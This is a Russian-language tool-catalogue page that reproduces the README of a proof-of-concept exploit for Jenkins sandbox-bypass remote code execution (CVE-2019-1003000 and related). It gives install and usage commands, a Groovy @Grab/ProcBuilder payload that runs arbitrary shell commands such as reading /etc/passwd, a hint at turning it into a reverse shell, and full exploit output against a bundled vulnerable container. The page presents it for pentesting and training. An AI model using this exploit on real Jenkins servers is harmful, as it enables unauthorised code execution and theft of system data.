Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2019-1003000-jenkins-rce-poc — Доказательство концепции RCE в Jenkins: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative) | Kitploit
Инструменты/GitHubGitHub/adamyordan/cve-2019-1003000-jenkins-rce-poc
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubadamyordan/cve-2019-1003000-jenkins-rce-poc

cve-2019-1003000-jenkins-rce-poc

Доказательство концепции RCE в Jenkins: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт
316877 лет назадПроверено Kitploit

PoC: Jenkins RCE

SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)

PoC, позволяющий пользователям с разрешением Overall/Read и Job/Configure (и опционально Job/Build) обойти защиту песочницы и выполнить произвольный код на мастер-узле или узле Jenkins.

Обновление: Статья Orange Tsai, объясняющая цепочку эксплойтов с использованием CVE-2018-1000861 и CVE-2019-1003000, которые позволяют обойти необходимость разрешения Overall/Read для RCE без аутентификации: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

Установка

root@kitploit:~
$ git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
$ cd cve-2019-1003000-jenkins-rce-poc
$ pip install -r requirements.txt

Использование

Передайте целевой URL, имя задания, учётные данные пользователя/пароль и системную команду для выполнения в качестве аргументов.

root@kitploit:~
$ python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"

Объяснение

Цитата из Red Hat Bugzilla - Bug 1667566:

Ошибка была обнаружена в Pipeline: Declarative Plugin до версии 1.3.4.1, Pipeline: Groovy Plugin до версии 2.61.1 и Script Security Plugin до версии 1.50. Защиту песочницы Script Security можно было обойти на этапе компиляции скрипта, применяя аннотации трансформации AST, такие как @Grab, к элементам исходного кода. Затронуты как REST API проверки конвейеров, так и фактическое выполнение скриптов/конвейеров. Это позволяло пользователям с разрешением Overall/Read или тем, кто может контролировать Jenkinsfile или содержимое изолированных общих библиотек Pipeline в SCM, обходить защиту песочницы и выполнять произвольный код на мастер-узле или узле Jenkins. Все известные небезопасные трансформации AST в Groovy теперь запрещены в скриптах, выполняемых в песочнице.

Данный PoC использует пользователя с разрешениями Overall/Read и Job/Configure для выполнения вредоносно изменённого сборочного скрипта в режиме песочницы и пытается обойти ограничения режима песочницы, чтобы запускать произвольные скрипты (в данном случае мы выполним системную команду).

Для контекста: сборочный скрипт конвейера Jenkins написан на Groovy. Этот сборочный скрипт компилируется и выполняется на мастер-узле или узле Jenkins и содержит определение конвейера, например, что делать на ведомых узлах. Jenkins также предоставляет возможность выполнять скрипт в режиме песочницы. В режиме песочницы все опасные функции занесены в чёрный список, поэтому обычный пользователь не может сделать ничего вредоносного для сервера Jenkins.

Однако, поскольку сборочный скрипт написан на Groovy, мы можем использовать любой класс или функцию из Java-пакетов (правда, в режиме песочницы опасные встроенные занесены в чёрный список). В данном случае мы используем аннотации трансформации AST @Grab, чтобы заставить Jenkins импортировать произвольные Java-пакеты из внешнего репозитория Maven. В этом PoC я использую класс ProcBuilder из org.buildobjects:jproc:2.2.3, чтобы выполнить системную shell-команду.

Полезная нагрузка определена ниже:

root@kitploit:~
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }
print new ProcBuilder("/bin/bash").withArgs("-c","cat /etc/passwd").run().getOutputString()

Приведённый выше скрипт будет скомпилирован и выполнен на мастер-узле или узле Jenkins. После завершения сборки задания мы можем увидеть результат выполнения shell-команды cat /etc/passwd в выводе консоли задания. Более того, мы можем использовать эту RCE-уязвимость для получения reverse shell и буквально взломать сервер Jenkins!

Пример уязвимого сайта

Пример уязвимого Jenkins предоставлен в этом репозитории в каталоге sample-vuln в формате Docker-контейнера. После запуска образ контейнера будет содержать сайт Jenkins, размещённый на порту tcp/8080, с обычным пользователем, имеющим разрешения Overall/Read + Job/Configure + Job/Build и учётными данными user1:user1, а также конвейерным заданием с идентификатором my-pipeline.

root@kitploit:~
$ cd sample-vuln
$ ./run.sh


$ cd ..
$ python exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

Ссылки

  • Jenkins Security Advisory 2019-01-08
  • Jenkins upstream patch
  • Red Hat Bugzilla - Bug 1667566
  • Jenkins Script Security Plugin
Скачать инструмент